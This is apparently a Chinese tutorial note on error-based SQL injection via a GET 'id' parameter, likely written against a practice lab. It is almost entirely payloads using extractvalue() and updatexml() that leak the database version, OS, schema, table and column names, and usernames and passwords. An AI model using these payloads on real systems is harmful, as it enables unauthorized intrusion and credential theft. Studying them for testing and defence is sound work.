假设和上面一样,还是SQL注入,get类型的:?id=1 语法和上面的略有差别
extractvalue函数: 爆版本 ?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) # ' 例如爆出个这样子的东西:XPATH syntax error: '~10.3.18-MariaDB~' 爆操作系统 ?id=1' and extractvalue(1,concat(0x7e,(select @@version_compile_os),0x7e)) # ' 例如爆出个这样子的东西:XPATH syntax error: '~Linux~' 爆数据库(涉及到了information_schema表) ?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e)) # ' 爆数据表 ?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e)) # ' 爆字段 ?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e)) # ' 爆数据 ?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e)) # ' updatexml函数: 细节问题: extractvalue()基本一样,改个关键字updatexml即可, 与extractvalue有个很大的区别实在末尾注入加上, 如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值) ?id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)--+ (爆数据库) ?id=1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+ (爆数据表) ?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)--+ (爆字段) ?id=1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)--+
|